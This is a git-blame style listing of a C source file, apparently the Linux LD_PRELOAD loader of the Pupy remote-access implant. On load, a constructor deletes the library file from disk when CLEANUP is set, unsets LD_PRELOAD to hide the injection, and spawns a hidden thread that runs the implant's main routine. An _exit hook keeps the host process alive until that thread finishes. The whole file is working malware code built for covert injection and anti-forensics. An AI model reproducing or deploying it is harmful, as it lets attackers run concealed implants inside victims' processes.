2016-08-23 16:48:10 +00:00
|
|
|
#define _GNU_SOURCE
|
2016-08-22 22:53:26 +00:00
|
|
|
#include <stdlib.h>
|
|
|
|
#include <pthread.h>
|
2016-08-23 16:48:10 +00:00
|
|
|
#include <unistd.h>
|
2016-11-29 16:53:39 +00:00
|
|
|
#include <string.h>
|
2016-08-23 16:48:10 +00:00
|
|
|
|
|
|
|
#include <dlfcn.h>
|
2016-08-22 22:53:26 +00:00
|
|
|
|
|
|
|
#include "pupy_load.h"
|
2016-08-23 16:48:10 +00:00
|
|
|
#include "debug.h"
|
|
|
|
|
|
|
|
static pthread_t thread_id;
|
|
|
|
|
|
|
|
static int __argc = 0;
|
|
|
|
static char ** __argv = NULL;
|
2016-08-22 22:53:26 +00:00
|
|
|
|
|
|
|
static void *
|
|
|
|
thread_start(void *arg)
|
|
|
|
{
|
2016-08-24 06:49:14 +00:00
|
|
|
return (void *) mainThread(__argc, __argv, true);
|
2016-08-23 16:48:10 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
static
|
|
|
|
void unloader(void) {
|
|
|
|
dprint("Wait until pupy thread exits\n");
|
|
|
|
pthread_join(thread_id, NULL);
|
|
|
|
dprint("Sutting down\n");
|
|
|
|
}
|
|
|
|
|
|
|
|
void _exit(int status) {
|
|
|
|
dprint("Catch exit");
|
|
|
|
__attribute__((noreturn))
|
|
|
|
void (*orig_exit)(int status) = dlsym(RTLD_NEXT, "_exit");
|
|
|
|
if (!strcmp(getenv("HOOK_EXIT"), "1")) {
|
|
|
|
dprint("Hook exit");
|
|
|
|
unloader();
|
|
|
|
}
|
|
|
|
orig_exit(status);
|
2016-08-22 22:53:26 +00:00
|
|
|
}
|
|
|
|
|
2016-08-23 16:48:10 +00:00
|
|
|
static void _fill_argv(int argc, char* argv[], char* envp[]) {
|
|
|
|
dprint("fill_argv called: %d/%p/%p\n", argc, argv, envp);
|
|
|
|
#ifdef DEBUG
|
|
|
|
int i;
|
|
|
|
for (i=0; i<argc; i++) {
|
|
|
|
dprint("ARGV[%d] = %s\n", i, argv[i]);
|
|
|
|
}
|
|
|
|
#endif
|
|
|
|
|
|
|
|
__argc = argc;
|
|
|
|
__argv = argv;
|
|
|
|
}
|
|
|
|
|
|
|
|
__attribute__((section(".init_array"))) void (* pfill_argv)(int, char*[], char*[]) = _fill_argv;
|
2016-08-22 22:53:26 +00:00
|
|
|
|
|
|
|
__attribute__((constructor))
|
2016-08-23 16:48:10 +00:00
|
|
|
void loader() {
|
2016-08-22 22:53:26 +00:00
|
|
|
pthread_attr_t attr;
|
|
|
|
pthread_attr_init(&attr);
|
|
|
|
|
2016-08-23 16:48:10 +00:00
|
|
|
const char *ldpreload = getenv("LD_PRELOAD");
|
2017-03-03 11:50:06 +00:00
|
|
|
const char *cleanup = getenv("CLEANUP");
|
2016-08-23 16:48:10 +00:00
|
|
|
|
|
|
|
if (cleanup && ldpreload && !strcmp(cleanup, "1")) {
|
|
|
|
dprint("Cleanup requested. Cleanup %s\n", ldpreload);
|
|
|
|
unlink(ldpreload);
|
|
|
|
}
|
|
|
|
|
|
|
|
dprint("Unset LD_PRELOAD\n");
|
|
|
|
unsetenv("LD_PRELOAD");
|
|
|
|
|
|
|
|
dprint("Start thread\n");
|
2016-08-22 22:53:26 +00:00
|
|
|
pthread_create(
|
|
|
|
&thread_id, &attr,
|
|
|
|
thread_start, NULL
|
|
|
|
);
|
|
|
|
}
|